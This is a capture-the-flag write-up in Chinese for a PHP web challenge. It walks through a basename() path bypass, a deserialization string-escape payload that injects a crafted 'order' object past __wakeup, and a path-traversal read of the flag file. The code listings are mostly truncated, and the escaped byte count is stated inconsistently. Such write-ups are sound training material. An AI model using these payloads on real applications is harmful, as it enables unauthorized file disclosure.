ezus
题目内容
index.php 点进去是源码
1 | <?php |
tm.php 反序列化
1 | <?php |
分析
index.php
- 题目暗示我们访问 /tm.php
- 第一个if,百度发现
$_SERVER['PHP_SELF'] 获取当前页面地址
也就是地址不能以tm.php结尾,就是我们不能直接访问/tm.php - 下面就是判断路径最后一个文件名是不是tm.php,如果是就返回no way,说明不能直接访问
- 出现了一个
source
变量, 里面的关键是highlight_file($path);
中间if没啥用,也就是说目的只是让path=tm.php
- 网上wp说:
basename()
在Linux
下,如果取得的文件名开头是非ASCII码范围的字符,则basename()
会抛弃这个文件名,继续往上一层走,把上一层的文件名取出来,直到获取到正常可显示ASCII字符开头的文件名(Windows下直接获取
)。- 参考链接:basename()绕过总结在使用默认语言环境设置时,basename() 会删除文件名开头的非 ASCII 字符。
- 我们的目的是从
highlight_file($path);
中把tm.php的源码搞到,就需要path是tm.php,并且要有source
- 绕过wp:
//index.php/tm.php/%88?source=tm.php
- 这样正则匹配的时候返回的是
%88
故可以染过正则匹配 ,但是basename()
函数运行的时候忽略%88
,直接匹配到tm.php
,只要有source
就会进入if从而highlight_file($path);
1 | <?php |
进入之后是反序列化的源码
tm.php
- 关键是
unserialize(object_weakup(object_sleep($user)))
,考点显然是反序列化字符串逃逸,注意chr(0)
是空字符,但是也算一个字节。 - 我们自己肯定不会写入不可见字符,所以只利用
function object_weakup($ob) { $r = str_replace('@0@0@0@', chr(0).'*'.chr(0), $ob); return $r; }
- 一开始短路了想当然的以为以为两个函数都利用,相当于没逃逸,想了半天。。
- username传入
@0@0@0@
,每传一组就可以逃逸3个字节[字符串减少的情况],password就传入我们构造好的order
类 - 其中order类首先是常规方法桡绕过wakeup
- 提示hint.php,入口是:
@$out = file_get_contents($this->hint); echo "<br/>".$out;
进入条件是if (preg_match('/prankhub$/', $r['host']))
思路就是hint = p5ych://prankhub/
- hint.php里面提示flag在
f1111444449999.txt
- 后缀是txt,题目本来有两个地方可以利用,
include
和file_get_contents
,但是include后面加了后缀PHP,所以思路是利用file_get_contents
。 - 因为要求host是
prankhub
所以考虑使用伪协议目录穿透到根目录得到flag - order里面f=trypass,hint=
p5ych://prankhub/../../../../../../../f1111444449999.txt
- 构造出order:
O:5:"order":2:{s:1:"f";s:7:"trypass";s:4:"hint";s:56:"p5ych://prankhub/../../../../../../../f1111444449999.txt";}
- 现在考虑字符串逃逸,username传
@0@0@0@
,每传一组就可以逃逸4个字节,我们需要的password是";s:8:"password";"O:5:"order":2:{s:1:"f";s:7:"trypass";s:4:"hint";s:56:"p5ych://prankhub/../../../../../../../f1111444449999.txt";}";
username='@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@'
password='";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:7:"trypass";s:4:"hint";s:56:"p5ych://prankhub/../../../../../../../f1111444449999.txt";}";'
- 这里需要注意的是order需要绕过wakeup,
"order":3:{
这里是3. - password就直接用那个类了,不要前面那个
s:122
啥的,这个时候我们的password本来传入的string,最后变成Object
总结
本题考点是:
- basename()函数绕过
- 反序列化的字符逃逸
- 目录穿越读取flag
当然重要考点是字符逃逸,主要是需要精心构造还有本地调试,让password是order类,逃逸字符个数要数清楚。